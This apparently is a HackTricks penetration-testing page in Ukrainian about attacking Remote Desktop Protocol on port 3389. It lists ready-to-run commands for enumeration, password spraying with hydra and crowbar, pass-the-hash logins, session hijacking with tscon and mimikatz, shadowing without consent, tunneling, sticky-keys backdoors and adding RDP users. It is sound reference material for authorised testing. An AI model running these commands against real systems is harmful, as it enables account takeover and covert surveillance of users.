3389 - Pentesting RDP
Tip
Вчіться та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
- Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.
Основна інформація
Розроблений Microsoft, the Remote Desktop Protocol (RDP) призначений для встановлення графічного інтерфейсного з’єднання між комп’ютерами через мережу. Для встановлення такого з’єднання користувач використовує RDP клієнтське програмне забезпечення, а віддалений комп’ютер повинен запускати RDP серверне програмне забезпечення. Така конфігурація дозволяє зручно керувати та отримувати доступ до робочого столу віддаленого комп’ютера, фактично відображаючи його інтерфейс на локальному пристрої користувача.
Порт за замовчуванням: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Перерахування
Автоматизоване
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
Перевіряє доступні параметри шифрування та вразливість до DoS (без викликання DoS для сервісу) і отримує інформацію NTLM Windows (версії).
Рівень безпеки / NLA перевірки
RDP може узгоджувати різні рівні безпеки (native RDP, TLS або CredSSP/NLA). Ви можете швидко визначити налаштування на стороні сервера та чи вимагається NLA:
# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>
# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>
# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot
# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot
Brute force
Будьте обережні, ви можете заблокувати облікові записи
Password Spraying
Будьте обережні, ви можете заблокувати облікові записи
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Підключення з відомими обліковими даними/хешем
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Перевірка відомих облікових даних проти RDP сервісів
rdp_check.py з impacket дозволяє перевірити, чи є певні облікові дані дійсними для RDP служби:
rdp_check <domain>/<name>:<password>@<IP>
Атаки
Session stealing
З привілеями SYSTEM ви можете отримати доступ до будь-якої відкритої RDP сесії будь-якого користувача без необхідності знати пароль власника.
Отримати відкриті сесії:
query user
Доступ до вибраної сесії
tscon <ID> /dest:<SESSIONNAME>
Тепер ви опинитеся всередині вибраної RDP-сесії і повинні будете видавати себе за користувача, використовуючи лише Windows інструменти та функції.
Important: Під час доступу до активної RDP-сесії ви викинете користувача, який її використовував.
Ви могли б отримати паролі шляхом process dumping, але цей метод значно швидший і дозволяє взаємодіяти з віртуальними робочими столами користувача (паролі в notepad без збереження на диск, інші RDP-сесії, відкриті на інших машинах…)
Mimikatz
Ви також можете використати mimikatz для цього:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
RDP Shadowing (Remote Control)
Якщо Remote Desktop Services shadowing увімкнено, ви можете переглядати або керувати активною сесією іншого користувача (іноді без його згоди) за допомогою вбудованих перемикачів mstsc.
# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>
# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control
# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt
# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
RDP Virtual Channel Tunneling
RDP підтримує virtual channels, які можуть використовуватися зловмисниками для pivoting/tunneling через встановлену RDP-сесію. Одним із варіантів є rdp2tcp (client/server), який може мультиплексувати TCP forwards через RDP (працює з FreeRDP).
# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp
Sticky-keys & Utilman
Комбінуючи цю техніку з stickykeys або utilman, ви зможете отримати доступ до адміністративного CMD та будь-якої RDP-сесії в будь-який час
You can search RDPs that have been backdoored with one of these techniques already with: https://github.com/linuz/Sticky-Keys-Slayer
RDP Process Injection
Якщо хтось із іншого домену або з кращими привілеями увійде через RDP на ПК, де ви є Admin, ви можете inject свій beacon у його RDP session process і діяти від його імені:
Додавання користувача до групи RDP
net localgroup "Remote Desktop Users" UserLoginName /add
Автоматичні інструменти
AutoRDPwn — це post-exploitation фреймворк, створений на Powershell, який призначений здебільшого для автоматизації атаки Shadow на комп’ютери Microsoft Windows. Ця уразливість (вказана Microsoft як функціональність) дозволяє віддаленому зловмиснику переглядати робочий стіл жертви без її згоди, а також контролювати його за потреби, використовуючи інструменти, вбудовані в операційну систему.
-
Автоматизоване керування мишею та клавіатурою з командного рядка
-
Автоматизоване керування буфером обміну з командного рядка
-
Створення SOCKS проксі на клієнті, який спрямовує мережевий трафік до цілі через RDP
-
Виконання довільних команд SHELL та PowerShell на цілі без завантаження файлів
-
Відправка файлів на ціль та отримання їх з цілі навіть коли передача файлів на цілі вимкнена
Цей інструмент дозволяє виконувати команди в RDP жертви без необхідності графічного інтерфейсу.
Автоматичні команди HackTricks
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
Посилання
Tip
Вчіться та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
- Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.


